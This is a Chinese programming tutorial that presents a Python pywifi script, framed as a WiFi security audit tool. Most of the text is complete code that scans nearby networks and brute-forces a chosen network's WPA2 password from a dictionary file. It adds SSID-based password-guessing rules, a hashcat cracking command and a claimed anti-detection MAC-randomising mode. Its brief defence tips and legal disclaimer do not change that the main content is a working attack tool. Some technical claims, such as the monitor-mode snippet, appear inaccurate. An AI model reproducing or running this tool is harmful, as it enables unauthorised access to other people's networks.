基于Python打造一個WiFi命令行安全審計工具
概述:無線網(wǎng)絡(luò)安全審計的重要性
在當今數(shù)字化時代,無線WiFi網(wǎng)絡(luò)已成為日常生活中不可或缺的基礎(chǔ)設(shè)施。根據(jù)2023年網(wǎng)絡(luò)安全報告顯示,約37%的企業(yè)數(shù)據(jù)泄露事件與不安全的無線網(wǎng)絡(luò)有關(guān)。
本文介紹的白澤WiFi審計工具,正是基于Python pywifi庫開發(fā)的專業(yè)級無線安全評估工具,具備以下核心價值:
- 安全評估:幫助企業(yè)識別弱密碼WiFi熱點
- 滲透測試:符合PTES滲透測試標準中的無線審計環(huán)節(jié)
- 教學研究:學習802.11協(xié)議安全機制的理想實驗平臺
功能特性
核心功能模塊
| 模塊 | 功能描述 | 技術(shù)實現(xiàn) |
|---|---|---|
| 網(wǎng)卡控制 | 多網(wǎng)卡識別與狀態(tài)管理 | pywifi.Interfaces() |
| 頻譜掃描 | 2.4G/5G雙頻段掃描 | scan() + scan_results() |
| 安全分析 | 識別WPA/WPA2/WEP加密 | AKM類型檢測 |
| 字典攻擊 | 基于規(guī)則的密碼爆破 | 多線程隊列控制 |
特色功能
- 信號熱力圖:自動生成CSV格式的信號分布數(shù)據(jù)
- 智能字典:內(nèi)置常見路由器默認密碼規(guī)則庫
- 防檢測模式:隨機化MAC地址防止被追蹤
展示效果
控制臺輸出示例

密碼破解過程動態(tài)展示

安裝依賴庫
pip install pywifi colorama psutil
工作流程
初始化階段
- 加載網(wǎng)卡驅(qū)動
- 檢測特權(quán)模式(需root/Administrator權(quán)限)
掃描階段
- 信道跳頻掃描(1-13信道)
- 信號強度校準(RSSI補償算法)
攻擊階段

核心代碼解析
1. 無線網(wǎng)卡控制引擎
class WifiController:
def __init__(self):
self.wifi = pywifi.PyWiFi()
self.iface = self.wifi.interfaces()[0]
def set_monitor_mode(self, enable=True):
"""切換監(jiān)聽模式(需驅(qū)動支持)"""
if enable:
self.iface.set_mode(const.IFACE_MODE_MONITOR)
else:
self.iface.set_mode(const.IFACE_MODE_STATION)
2. 智能字典生成算法
def generate_smart_dict(ssid):
"""基于SSID的智能字典生成"""
rules = [
lambda s: s + "123456", # TP-Link_5G -> TP-Link_5G123456
lambda s: s.replace("_","") + "!", # TP-Link_5G -> TPLink5G!
lambda s: s.split("_")[0] + "admin" # TP-Link_5G -> TP-Linkadmin
]
return [rule(ssid) for rule in rules]3. 信號質(zhì)量評估模塊
def evaluate_signal(rssi):
"""基于RSSI的信號質(zhì)量評估"""
if rssi >= -50:
return "██████████ 極強"
elif -60 <= rssi < -50:
return "████████ 強"
elif -70 <= rssi < -60:
return "█████ 中"
else:
return "██ 弱"
完整代碼
import pywifi
from pywifi import const
import time
import os
import glob
def print_banner():
banner = """
╔════════════════════════════════════════════════════════════════════════════════════════════════╗
║ ██╗ ██╗██╗███████╗██╗ ██████╗ ██████╗ █████╗ ██████╗██╗ ██╗██╗███╗ ██╗ ██████╗ ║
║ ██║ ██║██║██╔════╝██║ ██╔═══██╗██╔══██╗██╔══██╗██╔════╝██║ ██╔╝██║████╗ ██║██╔════╝ ║
║ ██║ █╗ ██║██║█████╗ ██║ ██║ ██║██████╔╝███████║██║ █████╔╝ ██║██╔██╗ ██║██║ ███╗ ║
║ ██║███╗██║██║██╔══╝ ██║ ██║ ██║██╔══██╗██╔══██║██║ ██╔═██╗ ██║██║╚██╗██║██║ ██║ ║
║ ╚███╔███╔╝██║██║ ██║ ╚██████╔╝██║ ██║██║ ██║╚██████╗██║ ██╗██║██║ ╚████║╚██████╔╝ ║
║ ╚══╝╚══╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝ ╚═════╝ ║
║ 無線WiFi數(shù)據(jù)審計工具-白澤 ║
╚════════════════════════════════════════════════════════════════════════════════════════════════╝
"""
print("\033[1;32m" + banner + "\033[0m")
def list_wifi_interfaces():
"""列出所有無線網(wǎng)卡"""
wifi = pywifi.PyWiFi()
interfaces = wifi.interfaces()
if not interfaces:
print("?? 未檢測到任何無線網(wǎng)卡!")
return None
print("\n?? 可用的無線網(wǎng)卡:")
for i, iface in enumerate(interfaces, 1):
print(f" [{i}].{iface.name()} (狀態(tài): {get_status_name(iface.status())})")
return interfaces
def get_status_name(status):
"""獲取狀態(tài)名稱"""
status_map = {
const.IFACE_DISCONNECTED: "?? 未連接",
const.IFACE_SCANNING: "?? 掃描中",
const.IFACE_INACTIVE: "? 未激活",
const.IFACE_CONNECTING: "?? 連接中",
const.IFACE_CONNECTED: "?? 已連接"
}
return status_map.get(status, "? 未知狀態(tài)")
def list_dict_files():
"""列出當前目錄下所有txt字典文件"""
dict_files = glob.glob("*.txt")
if not dict_files:
print("?? 當前目錄下未找到任何txt字典文件!")
return None
print("\n?? 可用的字典文件:")
for i, file in enumerate(dict_files, 1):
file_size = os.path.getsize(file) / 1024 # KB
print(f"?? {i}. {file} ({file_size:.2f} KB)")
return dict_files
def select_option(options, option_type, allow_zero=True):
"""選擇選項"""
while True:
try:
prompt = f"\n?? 請選擇{option_type}[1-{len(options)}]"
if allow_zero:
prompt += ",或輸入[0]返回主頁面"
prompt += ",或輸入[#]退出程序: "
choice = input(prompt).strip().lower() # 去除前后空格并轉(zhuǎn)為小寫
if choice == '#':
print("\n????? 正在退出程序...")
exit(0)
if allow_zero and choice == '0':
return None
choice = int(choice)
if 1 <= choice <= len(options):
return options[choice-1]
else:
print(f"?? 請輸入1-{len(options)}之間的數(shù)字!")
except ValueError:
print("?? 請輸入有效的數(shù)字!")
def decode_ssid(ssid):
"""解碼SSID,處理亂碼問題"""
if not ssid:
return "?? <隱藏網(wǎng)絡(luò)>"
# 嘗試多種編碼方式
encodings = ['utf-8', 'gbk', 'latin-1']
for enc in encodings:
try:
if isinstance(ssid, bytes):
return ssid.decode(enc)
else:
return ssid.encode('raw_unicode_escape').decode(enc)
except:
continue
# 如果所有解碼都失敗,返回十六進制表示
if isinstance(ssid, str):
return ''.join(f'\\x{ord(c):02x}' for c in ssid)
else:
return ''.join(f'\\x{b:02x}' for b in ssid)
def scan_and_list_wifi(iface):
"""掃描并列出所有WiFi網(wǎng)絡(luò)(按信號強度排序)"""
print("\n?? 正在掃描WiFi網(wǎng)絡(luò),請稍候?...")
iface.scan()
time.sleep(5) # 等待掃描完成
scan_results = iface.scan_results()
if not scan_results:
print("?? 未掃描到任何WiFi網(wǎng)絡(luò)")
return None
# 按信號強度排序(從強到弱)
sorted_results = sorted(scan_results, key=lambda x: x.signal, reverse=True)
wifi_list = []
print("\n?? 可用的WiFi網(wǎng)絡(luò)(按信號強度排序):")
print("━" * 85)
print("?? 序號 | ?? WiFi名稱 | ?? BSSID | ?? 信號強度 | ?? 加密方式 ")
print("━" * 85)
for i, result in enumerate(sorted_results, 1):
ssid = decode_ssid(result.ssid)
# 限制SSID顯示長度
display_ssid = (ssid[:20] + '...') if len(ssid) > 23 else ssid.ljust(23)
bssid = result.bssid
signal = f"{result.signal}dBm"
auth = get_auth_name(result.akm)
print(f"{i:<4} | {display_ssid:<23} | {bssid} | {signal:<8} | {auth}")
wifi_list.append({
'ssid': result.ssid, # 存儲原始SSID用于連接
'display_ssid': ssid, # 存儲解碼后的SSID用于顯示
'bssid': bssid,
'signal': result.signal,
'auth': result.akm
})
print("━" * 85)
return wifi_list
def get_auth_name(akm_list):
"""獲取加密方式名稱"""
if not akm_list:
return "?? 開放網(wǎng)絡(luò)"
auth_map = {
const.AKM_TYPE_NONE: "?? 無",
const.AKM_TYPE_WPA: "?? WPA",
const.AKM_TYPE_WPAPSK: "?? WPA-PSK",
const.AKM_TYPE_WPA2: "?? WPA2",
const.AKM_TYPE_WPA2PSK: "?? WPA2-PSK",
const.AKM_TYPE_UNKNOWN: "? 未知"
}
auths = []
for akm in akm_list:
auths.append(auth_map.get(akm, str(akm)))
return " + ".join(auths)
def wifi_connect(iface, ssid, pwd):
"""嘗試連接WiFi"""
# 斷開當前連接
iface.disconnect()
time.sleep(1)
if iface.status() == const.IFACE_DISCONNECTED:
profile = pywifi.Profile()
profile.ssid = ssid
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK) # 最常見的加密方式
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
iface.remove_all_network_profiles()
temp_profile = iface.add_network_profile(profile)
iface.connect(temp_profile)
time.sleep(3)
if iface.status() == const.IFACE_CONNECTED:
return True
return False
def wifi_crack():
"""主破解函數(shù)"""
while True:
print_banner()
# 選擇無線網(wǎng)卡
interfaces = list_wifi_interfaces()
if not interfaces:
input("\n?? 按Enter鍵返回主頁面...")
continue
iface = select_option(interfaces, "無線網(wǎng)卡")
if not iface:
continue
# 掃描并選擇WiFi網(wǎng)絡(luò)
wifi_list = scan_and_list_wifi(iface)
if not wifi_list:
input("\n?? 按Enter鍵返回主頁面...")
continue
selected_wifi = select_option(wifi_list, "WiFi網(wǎng)絡(luò)")
if not selected_wifi:
continue
# 檢查是否是開放網(wǎng)絡(luò)
if not selected_wifi['auth']:
print(f"\n?? 網(wǎng)絡(luò) {selected_wifi['display_ssid']} 是開放網(wǎng)絡(luò),無需密碼!")
input("\n?? 按Enter鍵返回主頁面...")
continue
# 選擇字典文件
dict_files = list_dict_files()
if not dict_files:
input("\n?? 按Enter鍵返回主頁面...")
continue
dict_file = select_option(dict_files, "字典文件")
if not dict_file:
continue
# 加載密碼字典
try:
with open(dict_file, "r", errors='ignore') as f:
passwords = [p.strip() for p in f.readlines() if p.strip()]
except Exception as e:
print(f"?? 讀取字典文件失敗: {str(e)}")
input("\n按Enter鍵返回主頁面...")
continue
print(f"\n?? 開始破解 WiFi: {selected_wifi['display_ssid']}")
print(f"?? 使用網(wǎng)卡: {iface.name()}")
print(f"?? 使用字典: {dict_file}")
print(f"?? 加密方式: {get_auth_name(selected_wifi['auth'])}")
print(f"?? 信號強度: {selected_wifi['signal']}dBm")
print(f"?? 加載密碼數(shù)量: {len(passwords)}")
print("━" * 50)
for idx, pwd in enumerate(passwords, 1):
try:
print(f"\r?? 嘗試密碼 [{idx}/{len(passwords)}]: {pwd}", end="", flush=True)
if wifi_connect(iface, selected_wifi['ssid'], pwd):
print(f"\n\n?????? 密碼破解成功!")
print(f"?? WiFi名稱: {selected_wifi['display_ssid']}")
print(f"?? 密碼: \033[1;32m{pwd}\033[0m")
input("\n按Enter鍵返回主頁面...")
break
except KeyboardInterrupt:
print("\n?? 用戶中斷操作")
input("\n按Enter鍵返回主頁面...")
break
except Exception as e:
continue
else:
print("\n\n?? 密碼破解失敗,字典中沒有正確密碼")
input("\n按Enter鍵返回主頁面...")
if __name__ == "__main__":
wifi_crack()
進階開發(fā)指南
性能優(yōu)化技巧
多線程控制
from concurrent.futures import ThreadPoolExecutor
with ThreadPoolExecutor(max_workers=4) as executor:
executor.map(try_password, password_chunk)
GPU加速方案
# 需配合hashcat使用 os.system(f"hashcat -m 2500 capture.hccapx dict.txt --force")
防御對策研究
企業(yè)級防護
- 部署802.1X認證
- 啟用WPA3-SAE加密
家庭防護
- 關(guān)閉WPS功能
- 設(shè)置16位復(fù)雜密碼(含特殊字符)
聲明:本文工具僅限合法授權(quán)測試使用,禁止任何形式的非法活動。技術(shù)是一把雙刃劍,請務(wù)必遵守《網(wǎng)絡(luò)安全法》及相關(guān)法律法規(guī)。
到此這篇關(guān)于基于Python打造一個WiFi命令行安全審計工具的文章就介紹到這了,更多相關(guān)Python WiFi安全審計內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
Python數(shù)據(jù)結(jié)構(gòu)與算法中的隊列詳解(1)
這篇文章主要為大家詳細介紹了Python的隊列,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下,希望能夠給你帶來幫助2022-03-03
python cx_Oracle的基礎(chǔ)使用方法(連接和增刪改查)
這篇文章主要給大家介紹了關(guān)于python cx_Oracle的基礎(chǔ)使用方法,其中包括連接、增刪改查等基本操作,并給大家分享了python 連接Oracle 亂碼問題的解決方法,需要的朋友可以參考借鑒,下面隨著小編來一起學習學習吧。2017-11-11
Python計時相關(guān)操作詳解【time,datetime】
這篇文章主要介紹了Python計時相關(guān)操作,涉及time,datetime模塊的使用技巧,包括時間戳、時間差、日期格式等操作方法,需要的朋友可以參考下2017-05-05
python學習筆記--將python源文件打包成exe文件(pyinstaller)
這篇文章主要介紹了通過將pyinstallerpython源文件打包成exe文件的方法,需要的朋友可以參考下2018-05-05

